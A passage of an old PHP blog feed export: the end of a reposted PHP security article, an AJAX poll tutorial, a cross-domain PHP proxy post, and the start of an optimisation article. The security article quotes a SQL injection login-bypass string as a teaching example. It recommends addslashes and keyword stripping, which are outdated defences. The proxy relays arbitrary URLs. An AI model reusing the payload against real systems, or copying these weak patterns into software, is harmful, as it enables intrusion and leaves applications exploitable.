as:&lt;/p&gt;  &lt;p&gt;&lt;code&gt;SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;This will return the username without validating the password -- the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's &lt;code&gt;addslashes()&lt;/code&gt; function.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;$username = addslashes($_POST["username"]); &lt;br&gt; $password = addslashes($_POST["password"]);&lt;/code&gt;&lt;/p&gt; &lt;div id="adz" class="vertical"&gt;&lt;div class="ad"&gt;&lt;font class="Apple-style-span" color="#0066CC"&gt;&lt;span class="Apple-style-span" style="text-decoration: underline;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/font&gt;&lt;div id="beacon_596" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"&gt;&lt;img src="http://ads.aws.sitepoint.com/phpadsnew/www/delivery/lg.php?bannerid=596&amp;amp;campaignid=384&amp;amp;zoneid=87&amp;amp;channel_ids=,&amp;amp;loc=http%3A%2F%2Fads.aws.sitepoint.com%2Fadjs.php%3Fregion%3D87%26did%3Dadz%26adtype%3Dvertical&amp;amp;referer=http%3A%2F%2Fwww.sitepoint.com%2Farticle%2Fphp-security-blunders%2F2%2F&amp;amp;cb=8b16aa3bed" alt="" style="width: 0px; height: 0px;" width="0" height="0"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;But depending on your PHP configuration, this may not be necessary! PHP's much-reviled &lt;strong&gt;magic quotes&lt;/strong&gt; feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the &lt;code&gt;magic_quotes_gpc&lt;/code&gt; &lt;code&gt;php.ini&lt;/code&gt; variable to &lt;code&gt;Off&lt;/code&gt;, will automatically apply &lt;code&gt;addslashes&lt;/code&gt; to all values submitted via GET, POST or &lt;a href="http://www.sitepoint.com/glossary.php?q=C#term_59" class="glossary" title="Cookies are pieces of data that a Website uses to &amp;quot;tag&amp;quot; users' computers in order to identify them individually."&gt;cookies&lt;/a&gt;. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.&lt;/p&gt;  &lt;p&gt;If you're developing software that may be installed on shared servers where you might not be able to change the &lt;code&gt;php.ini&lt;/code&gt; file, use code to check that status of &lt;code&gt;magic_quotes_gpc&lt;/code&gt; and, if it is turned on, pass all input values through PHP's &lt;code&gt;stripslashes()&lt;/code&gt; function. You can then apply &lt;code&gt;addslashes()&lt;/code&gt; to any values destined for use in database queries as you would normally.&lt;/p&gt;  &lt;p&gt;&lt;code&gt;if (get_magic_quotes_gpc()){ &lt;br&gt;   $_GET = array_map('stripslashes', $_GET); &lt;br&gt;   $_POST = array_map('stripslashes', $_POST); &lt;br&gt;   $_COOKIE = array_map('stripslashes', $_COOKIE); &lt;br&gt; }&lt;/code&gt;&lt;/p&gt;  &lt;p&gt;SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your &lt;a href="http://www.sitepoint.com/glossary.php?q=H#term_75" class="glossary" title="HTML stands for HyperText Markup Language."&gt;HTML&lt;/a&gt; output.&lt;/p&gt;  &lt;p&gt;You should always check user-provided data that will be used in a query for the characters &lt;code&gt;'",;()&lt;/code&gt; and, possibly, for the keywords &lt;code&gt;"FROM"&lt;/code&gt;, &lt;code&gt;"LIKE"&lt;/code&gt;, and &lt;code&gt;"WHERE"&lt;/code&gt; in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they're unnecessary, you'll have much less to worry about from this type of flaw. &lt;/p&gt;  &lt;h5&gt;Error Reporting&lt;/h5&gt;    &lt;p&gt;You should ensure that your &lt;code&gt;display_errors&lt;/code&gt; php.ini value is set to "0". Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user's browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.&lt;/p&gt;  &lt;p&gt;The &lt;code&gt;display_errors&lt;/code&gt; value can be set at runtime using the &lt;code&gt;ini_set&lt;/code&gt; function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the &lt;code&gt;ini_set&lt;/code&gt; function is not run.&lt;/p&gt;  &lt;p&gt;Instead of displaying errors, set the &lt;code&gt;error_log&lt;/code&gt; ini variable to "1" and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the &lt;a class="sublink" href="http://www.php.net/errorfunc"&gt;PHP manual pages on error handling&lt;/a&gt; and learn about the &lt;code&gt;set_error_handler()&lt;/code&gt; function.&lt;/p&gt;  &lt;h5&gt;Data Handling Errors&lt;/h5&gt;    &lt;p&gt;Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.&lt;/p&gt;  &lt;p&gt;The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user's browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.&lt;/p&gt;  &lt;p&gt;The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb is that if you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it? &lt;/p&gt;  &lt;p&gt;It's important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It's basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take steps to minimize the fallout if you do suffer a penetration. &lt;/p&gt;  &lt;h5&gt;Configuring PHP For Security&lt;/h5&gt;    &lt;p&gt;Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.&lt;/p&gt;  &lt;p&gt;You should create a page that calls the &lt;code&gt;phpinfo()&lt;/code&gt; function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of &lt;code&gt;phpinfo()&lt;/code&gt; contains information that a potential hacker might find extremely useful.&lt;/p&gt;  &lt;p&gt;Some settings to consider when configuring PHP for security include:&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;&lt;ol&gt; 	&lt;li&gt;&lt;strong&gt;&lt;code&gt;register_globals&lt;/code&gt;&lt;/strong&gt;: The boogeyman of PHP security is &lt;code&gt;register_globals&lt;/code&gt;, which used to default to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you're on a shared host, and they won't let you disable &lt;code&gt;register_globals&lt;/code&gt;, get a new host!&lt;/li&gt;  &lt;p&gt;	&lt;/p&gt;&lt;li&gt;&lt;strong&gt;&lt;code&gt;safe_mode&lt;/code&gt;&lt;/strong&gt;: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.&lt;/li&gt;  &lt;p&gt;	&lt;/p&gt;&lt;li&gt;&lt;strong&gt;&lt;code&gt;disable_functions&lt;/code&gt;&lt;/strong&gt;: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.&lt;/li&gt; &lt;/ol&gt;   &lt;p&gt;Read the &lt;a class="sublink" href="http://www.php.net/manual/en/security.php"&gt;security section of the PHP manual&lt;/a&gt; and get to know it well. Treat it as material for a test you'll take and get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier target whose grasp of these concepts is insufficient.&lt;/p&gt;  &lt;h5&gt;Further Reading&lt;/h5&gt;    &lt;p&gt;The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases covered. As I stated in the introduction to this article, "Security is a process", but security education is also a process, and your knowledge must be maintained.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://www.owasp.org/index.jsp"&gt;OWASP, The Open Web Application Security Project&lt;/a&gt;, is a non-profit oganisation dedicated to "finding and fighting the causes of insecure software". The resources it provides are invaluable and the group has many local chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://www.cgisecurity.net/"&gt;CGISecurity.Net&lt;/a&gt; is another good site dealing with Web application security. They have some interesting FAQs and more in-depth documentation on some of the types of flaws I've discussed in this article.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://www.php.net/manual/en/security.php"&gt;The security section of the PHP Manual&lt;/a&gt; is a key resource that I mentioned above, but I include it here again, since it's full of great information that's directly applicable to PHP. Don't gloss over the comments at the bottom of each page: some of the best and most up-to-date information can be found in the user-contributed notes.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://phpsec.org/"&gt;The PHP Security Consortium&lt;/a&gt; offers a library with links to other helpful resources, PHP-specific summaries of the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://www.securityfocus.com/archive/1"&gt;The BugTraq mailing list&lt;/a&gt; is a great source of security related advisories that you should read if you're interested in security in general. You may be shocked by the number of advisories that involve popular PHP applications allowing SQL insertion, Cross Site Scripting and some of the other flaws I've discussed here.&lt;/p&gt;  &lt;p&gt;&lt;a class="sublink" href="http://www.linuxsecurity.com/"&gt;Linux Security&lt;/a&gt; is another good site that is not necessarily restricted to PHP but, since you are likely running a Linux Webserver to host your PHP applications, it's useful to try to stay up to date on the latest advisories and news related to your chosen Linux distribution. Don't assume your hosting company is on top of these developments; be aware on your own -- your security is only as good as your weakest point. It does you no good to have a tightly secured PHP application running on a server with an outdated service that exposes a well-known and exploitable flaw. &lt;/p&gt;  &lt;h5&gt;Conclusions&lt;/h5&gt;    &lt;p&gt;As I've shown in this article, there are many things to be aware of when programming secure PHP applications, though this is true with any language, and any server platform. PHP is no less secure than many other common development languages. The most important thing is to develop a proper security mindset and to know your tools well. I hope you enjoyed this article and learned something as well! Remember: just because you're paranoid doesn't mean there's no one out to get you.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div style="position:fixed"&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;          &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-1122334090943116924?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/1122334090943116924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=1122334090943116924' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/1122334090943116924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/1122334090943116924'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/11/top-php-security-blunders.html' title='Top PHP Security Blunders'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-4933251373166424869</id><published>2008-10-10T13:23:00.001-07:00</published><updated>2008-10-10T13:25:32.747-07:00</updated><title type='text'>PHP and AJAX Poll</title><content type='html'>&lt;div style="font-family:arial, helvetica, sans-serif;font-size:12pt"&gt;&lt;div&gt;&lt;h1&gt;PHP and AJAX Poll&lt;/h1&gt;&lt;h1&gt;&lt;span class="Apple-style-span" style="font-size: 16px; font-weight: normal; "&gt;A good example of an Ajax Poll courtesy of w3schools.&lt;/span&gt;&lt;/h1&gt;&lt;hr&gt;  &lt;h2&gt;AJAX Suggest&lt;/h2&gt; &lt;p&gt;In the AJAX example below we will demonstrate a poll where the web page can  get the result without reloading.&lt;/p&gt; &lt;hr&gt; &lt;div id="poll"&gt; &lt;h2&gt;Do you like PHP and AJAX so far?&lt;/h2&gt; &lt;form&gt; Yes:  &lt;input name="vote" value="0" onclick="getVote(this.value)" type="radio"&gt; &lt;br&gt; No:  &lt;input name="vote" value="1" onclick="getVote(this.value)" type="radio"&gt; &lt;/form&gt; &lt;/div&gt; This example consists of four pages:&lt;ul&gt;  &lt;li&gt;a simple HTML form&lt;/li&gt;  &lt;li&gt;a JavaScript&lt;/li&gt;  &lt;li&gt;a  PHP page&lt;/li&gt;  &lt;li&gt;a text file to store the results&lt;/li&gt; &lt;/ul&gt; &lt;hr&gt; &lt;h2&gt;The HTML Form&lt;/h2&gt; &lt;p&gt;This is the HTML page. It contains a simple HTML form and a link to a  JavaScript:&lt;/p&gt; &lt;table class="ex" id="table11" width="100%" border="1"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td&gt;   &lt;pre&gt;&amp;lt;html&gt; &amp;lt;head&gt; &amp;lt;script src="poll.js"&gt;&amp;lt;/script&gt;  &amp;lt;/head&gt; &amp;lt;body&gt;&lt;/pre&gt;   &lt;pre&gt;&amp;lt;div id="poll"&gt; &amp;lt;h2&gt;Do you like PHP and AJAX so far?&amp;lt;/h2&gt;&lt;/pre&gt;   &lt;pre&gt;&amp;lt;form&gt; Yes:  &amp;lt;input type="radio" name="vote"  value="0" onclick="getVote(this.value)"&gt; &amp;lt;br /&gt;No:  &amp;lt;input type="radio" name="vote"  value="1" onclick="getVote(this.value)"&gt; &amp;lt;/form&gt; &amp;lt;/div&gt;&lt;/pre&gt;   &lt;pre&gt;&amp;lt;/body&gt; &amp;lt;/html&gt;&lt;/pre&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;h2&gt;Example Explained - The HTML Form&lt;/h2&gt; &lt;p&gt;As you can see, the HTML page above contains a simple HTML form inside a  "&amp;lt;div&gt;" with two radio buttons.&lt;/p&gt; &lt;p&gt;The form works like this:&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;An event is triggered when the user selects the "yes" or "no" option&lt;/li&gt;  &lt;li&gt;When the event is triggered, a function called getVote() is executed.   &lt;/li&gt;  &lt;li&gt;Around the form is a &amp;lt;div&gt; called "poll". When the data   is returned from the getVote() function, the return data will replace the   form.&lt;/li&gt; &lt;/ol&gt; &lt;hr&gt; &lt;h2&gt;The Text File&lt;/h2&gt; &lt;p&gt;The text file (poll_result.txt) is where we store the data from the poll. &lt;/p&gt; &lt;p&gt;It is stored like this:&lt;/p&gt; &lt;table class="ex" id="table13" width="100%" border="1"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td&gt;   &lt;pre&gt;0||0&lt;/pre&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;The first number represents the "Yes" votes, the second number represents the  "No" votes.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; Remember to allow your web server to edit the text file. Do &lt;b&gt; NOT&lt;/b&gt; give everyone access, just the web server (PHP).&lt;/p&gt; &lt;hr&gt; &lt;h2&gt;The JavaScript&lt;/h2&gt; &lt;p&gt;The JavaScript code is stored in "poll.js" and linked to in the HTML  document:&lt;/p&gt; &lt;table class="ex" id="table12" width="100%" border="1"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td&gt;   &lt;pre&gt;var xmlHttp  function getVote(int) { xmlHttp=GetXmlHttpObject() if (xmlHttp==null)  {  alert ("Browser does not support HTTP Request")  return  }  var url="poll_vote.php" url=url+"?vote="+int url=url+"&amp;amp;sid="+Math.random() xmlHttp.onreadystatechange=stateChanged  xmlHttp.open("GET",url,true) xmlHttp.send(null) }   function stateChanged()  {   if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")  {   document.getElementById("poll").  innerHTML=xmlHttp.responseText;  }  }   function GetXmlHttpObject() {  var objXMLHttp=null if (window.XMLHttpRequest)  {  objXMLHttp=new XMLHttpRequest()  } else if (window.ActiveXObject)  {  objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP")  } return objXMLHttp }&lt;/pre&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;h2&gt;Example Explained&lt;/h2&gt; &lt;p&gt;The stateChanged() and GetXmlHttpObject functions are the same as in the &lt;a href="http://www.w3schools.com/php/php_ajax_suggest.asp"&gt;PHP AJAX Suggest&lt;/a&gt; chapter.&lt;/p&gt; &lt;p&gt;&lt;b&gt;The getVote() Function&lt;/b&gt;&lt;/p&gt; &lt;p&gt;This function executes when "yes" or "no" is selected in the HTML form.&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;Defines the url (filename) to send to the server&lt;/li&gt;  &lt;li&gt;Adds a parameter (vote) to the url with the content of the input field   &lt;/li&gt;  &lt;li&gt;Adds a random number to prevent the server from using a cached file&lt;/li&gt;  &lt;li&gt;Calls on the GetXmlHttpObject function to create an XMLHTTP object, and tells the object to execute a function   called stateChanged when a change is triggered&lt;/li&gt;  &lt;li&gt;Opens the XMLHTTP object with the given url.&lt;/li&gt;  &lt;li&gt;Sends an HTTP request to the server&lt;/li&gt; &lt;/ol&gt; &lt;hr&gt; &lt;h2&gt;The PHP Page&lt;/h2&gt; &lt;p&gt;The server page called by the JavaScript code is a simple PHP file called "poll_vote.php".&lt;/p&gt; &lt;table class="ex" id="table10" width="100%" border="1"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td&gt;   &lt;pre&gt;&amp;lt;?php $vote = $_REQUEST['vote'];&lt;/pre&gt;   &lt;pre&gt;//get content of textfile $filename = "poll_result.txt"; $content = file($filename);&lt;/pre&gt;   &lt;pre&gt;//put content in array $array = explode("||", $content[0]); $yes = $array[0]; $no = $array[1];&lt;/pre&gt;   &lt;pre&gt;if ($vote == 0)  {  $yes = $yes + 1;  } if ($vote == 1)  {  $no = $no + 1;  }&lt;/pre&gt;   &lt;pre&gt;//insert votes to txt file $insertvote = $yes."||".$no; $fp = fopen($filename,"w"); fputs($fp,$insertvote); fclose($fp); ?&gt;&lt;/pre&gt;   &lt;pre&gt;&amp;lt;h2&gt;Result:&amp;lt;/h2&gt; &amp;lt;table&gt; &amp;lt;tr&gt; &amp;lt;td&gt;Yes:&amp;lt;/td&gt; &amp;lt;td&gt; &amp;lt;img src="poll.gif" width='&amp;lt;?php echo(100*round($yes/($no+$yes),2)); ?&gt;' height='20'&gt; &amp;lt;?php echo(100*round($yes/($no+$yes),2)); ?&gt;% &amp;lt;/td&gt; &amp;lt;/tr&gt; &amp;lt;tr&gt; &amp;lt;td&gt;No:&amp;lt;/td&gt; &amp;lt;td&gt; &amp;lt;img src="poll.gif"  width='&amp;lt;?php echo(100*round($no/($no+$yes),2)); ?&gt;' height='20'&gt; &amp;lt;?php echo(100*round($no/($no+$yes),2)); ?&gt;% &amp;lt;/td&gt; &amp;lt;/tr&gt; &amp;lt;/table&gt;&lt;/pre&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;The selected value is sent from the JavaScript and the following  happens:&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;Get the content of the "poll_result.txt" file&lt;/li&gt;  &lt;li&gt;Put the content of the file in variables and add one to the selected   variable&lt;/li&gt;  &lt;li&gt;Write the result to the "poll_result.txt" file&lt;/li&gt;  &lt;li&gt;Output a graphical representation of the poll result&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="position:fixed"&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-4933251373166424869?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/4933251373166424869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=4933251373166424869' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/4933251373166424869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/4933251373166424869'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/10/php-and-ajax-poll.html' title='PHP and AJAX Poll'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-4813684800244193684</id><published>2008-09-26T23:17:00.004-07:00</published><updated>2008-09-26T23:41:46.404-07:00</updated><title type='text'>Cross-Domain AJAX calls using PHP</title><content type='html'>&lt;script type='text/javascript'&gt;&lt;br /&gt; var gtvt_partner_id=&amp;#39;FX3u4pM/Cl0=&amp;#39;;&lt;br /&gt; var gtvt_hide_fbapp=0;&lt;br /&gt; var gtvt_hide_clip=0;&lt;br /&gt; var gtvt_hide_social=0;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script src='http://www.grouptivity.com/main/api/webjs/js/share.js' type='text/javascript'/&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AJAX has become the core component of many web applications around us. And its fairly easy to handle AJAX now a days, with the help of various javascript libraries (ex: jQuery, Prototype, Mootools, YUI, etc). But there is one security issue that web browsers impose in doing AJAX calls - they don’t let you do AJAX calls in web servers different than yours. That means, if your script is in www.mydomain.com and you’re trying to do AJAX call to www.anotherdomain.com/get.php, then the browser will through error like: “Error: uncaught exception: Permission denied to call method XMLHttpRequest.open”.&lt;br /&gt;&lt;br /&gt;Now, there are a number of solutions to this problem. Instead of explaining them all to you, lemme provide you the simplest one: using a PHP transport file. If you already know the thing and just need the script, download from here.&lt;br /&gt;&lt;br /&gt;Others, let’s see an example implementation first.&lt;br /&gt;Example use&lt;br /&gt;&lt;br /&gt;   1: xmlHttp.onreadystatechange=function()&lt;br /&gt;&lt;br /&gt;   2: {&lt;br /&gt;&lt;br /&gt;   3:     if(xmlHttp.readyState==4)&lt;br /&gt;&lt;br /&gt;   4:     {&lt;br /&gt;&lt;br /&gt;   5:         alert(xmlHttp.responseText);&lt;br /&gt;&lt;br /&gt;   6:     }&lt;br /&gt;&lt;br /&gt;   7: }&lt;br /&gt;&lt;br /&gt;   8:  &lt;br /&gt;&lt;br /&gt;   9: xmlHttp.open("GET", 'http://myserver.com/transport.php?action=' + &lt;br /&gt;&lt;br /&gt;  10:                     urlencode('different-server.com/return_call.php') +&lt;br /&gt;&lt;br /&gt;  11:                     '&amp;method=get&amp;data1=101&amp;data2=pass', true );&lt;br /&gt;&lt;br /&gt;  12:  &lt;br /&gt;&lt;br /&gt;  13: xmlHttp.send(null);&lt;br /&gt;&lt;br /&gt;Now, lets see how it works:&lt;br /&gt;&lt;br /&gt;   1. The script makes an AJAX call to the myserver.com/transport.php with a few parameters:&lt;br /&gt;          * action = the target URL you need to fetch, from a different domain&lt;br /&gt;          * method = the HTTP method (post/get)&lt;br /&gt;          * data1, data2 = sample parameters for using as either query-string or POST fields&lt;br /&gt;   2. When the request is received by transport.php, it uses cURL to make a call to the page mentioned in action.&lt;br /&gt;   3. Based on the method, it either makes a GET request or a POST request. In both cases, it sends the extra parameters that are sent.&lt;br /&gt;   4. After the response is received, transport.php echoes it. So, you have what you need!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3952433192847826746-4813684800244193684?l=phparchives.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phparchives.blogspot.com/feeds/4813684800244193684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3952433192847826746&amp;postID=4813684800244193684' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/4813684800244193684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3952433192847826746/posts/default/4813684800244193684'/><link rel='alternate' type='text/html' href='http://phparchives.blogspot.com/2008/09/cross-domain-ajax-calls-using-php_675.html' title='Cross-Domain AJAX calls using PHP'/><author><name>Someone Awesome</name><uri>http://www.blogger.com/profile/10681119512211939171</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3952433192847826746.post-7906091554848710971</id><published>2008-09-10T02:12:00.001-07:00</published><updated>2008-09-26T22:13:24.340-07:00</updated><title type='text'>An excellent article on PHP optimization</title><content type='html'>&lt;div style="font-family:arial, helvetica, sans-serif;font-size:10pt"&gt;&lt;div&gt;&lt;h3&gt;A HOWTO on Optimizing PHP&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type='text/javascript'&gt;&lt;br /&gt; var gtvt_partner_id=&amp;#39;FX3u4pM/Cl0=&amp;#39;;&lt;br /&gt; var gtvt_hide_fbapp=0;&lt;br /&gt; var gtvt_hide_clip=0;&lt;br /&gt; var gtvt_hide_social=0;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script src='http://www.grouptivity.com/main/api/webjs/js/share.js' type='text/javascript'&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;(original article available on phplens.com)&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;PHP is a very fast programming language, but there is more to optimizing PHP    than just speed of code execution.&lt;/p&gt; &lt;p&gt;In this chapter, we explain why optimizing PHP involves many factors which    are not code related, and why tuning PHP requires an understanding of how PHP    performs in relation to all the other subsystems on your server, and then identifying    bottlenecks caused by these subsystems and fixing them. We also cover how to    tune and optimize your PHP scripts so they run even faster.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Achieving High Performance&lt;/b&gt;&lt;/p&gt; &lt;p&gt;When we talk about good performance, we are not talking about how fast your    PHP scripts will run. Performance is a set of tradeoffs between scalability    and speed. Scripts tuned to use fewer resources might be slower than scripts    that perform caching, but more copies of the same script can be run at one time    on a web server. &lt;/p&gt; &lt;p&gt;In the example below, A.php is a sprinter that can run fast, and B.php is a    marathon runner than can jog forever at the nearly the same speed. For light    loads, A.php is substantially faster, but as the web traffic increases, the    performance of B.php only drops a little bit while A.php just runs out of steam.&lt;/p&gt; &lt;/font&gt;  &lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt; &lt;/font&gt;&lt;img src="http://phplens.com/lens/php-book/opt/Image1.gif" width="374" height="292"&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Let us take a more realistic example to clarify matters further. Suppose we need to write a PHP script that reads a 250K file and generates a HTML summary of the file. We write 2 scripts that do the same thing: &lt;b&gt;hare.php&lt;/b&gt; that reads the whole file into memory at once and processes it in one pass, and &lt;b&gt;tortoise.php&lt;/b&gt; that reads the file, one line at time, never keeping more than the longest line in memory. Tortoise.php will be slower as multiple reads are issued, requiring more system calls.&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Hare.php requires 0.04 seconds of CPU and 10 Mb RAM and tortoise.php requires 0.06 seconds of CPU and 5 Mb RAM. The server has 100 Mb free actual RAM and its CPU is 99% idle. Assume no memory fragmentation occurs to simplify things. &lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;At 10 concurrent scripts running, hare.php will run out of memory (10 x 10    = 100). At that point, tortoise.php will still have 50 Mb of free memory. The    11th concurrent script to run will bring hare.php to its knees as it starts    using virtual memory, slowing it down to maybe half its original speed; each    invocation of hare.php now takes 0.08 seconds of CPU time. Meanwhile, 